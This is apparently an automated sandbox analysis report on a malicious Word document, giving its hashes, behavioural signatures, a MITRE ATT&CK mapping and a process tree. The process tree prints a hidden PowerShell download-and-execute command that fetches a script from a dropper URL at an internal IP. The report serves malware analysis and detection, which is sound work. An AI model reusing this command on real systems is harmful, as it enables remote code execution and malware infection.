42e6ba1ea816c43320ae4eb3952059263348072339b75e9200a3914b510b044a

General

Target

42e6ba1ea816c43320ae4eb3952059263348072339b75e9200a3914b510b044a.doc
Size

32KB
MD5

bb54172287fd2b0e410c5028d561b185
SHA1

e805b5ed52dd4371c8c1fb8cf7458bc84a4a2630
SHA256

42e6ba1ea816c43320ae4eb3952059263348072339b75e9200a3914b510b044a
SHA512

05c8929310cc38a0f97b354c6ff4f1b19ae8f39f647d2cdf423dc397625c19f473e3e167dc956a25fead95f44d659444d917ac09b6e69af948aa2941c73ecaa7
SSDEEP

192:IxSNOlLZEvA+6/6r8px8SmvowzxT4rKVrWGlAtno5hdbeCdCicDlg0jT4V2Iwa:E8iS8px8SMDEyrjStuhdbXdCRlg0jEc

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://192.168.45.199/health

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2632	2884	powershell.exe	30

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2632	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2056	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2632	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2632	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2056	WINWORD.EXE
2056	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2056 wrote to memory of 1728	2056	WINWORD.EXE	34
PID 2056 wrote to memory of 1728	2056	WINWORD.EXE	34
PID 2056 wrote to memory of 1728	2056	WINWORD.EXE	34
PID 2056 wrote to memory of 1728	2056	WINWORD.EXE	34

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\42e6ba1ea816c43320ae4eb3952059263348072339b75e9200a3914b510b044a.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.45.199/health'))
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2056-4-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-6-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-2-0x0000000070A0D000-0x0000000070A18000-memory.dmp

Filesize
44KB

Download
memory/2056-11-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-10-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-9-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-8-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-54-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-12-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-5-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2056-0-0x000000002F191000-0x000000002F192000-memory.dmp

Filesize
4KB

Download
memory/2056-7-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-47-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-40-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-33-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-30-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-26-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-19-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-63-0x0000000000880000-0x0000000000980000-memory.dmp

Filesize
1024KB

Download
memory/2056-62-0x0000000070A0D000-0x0000000070A18000-memory.dmp

Filesize
44KB

Download
memory/2632-61-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download
memory/2632-60-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download

Analysis

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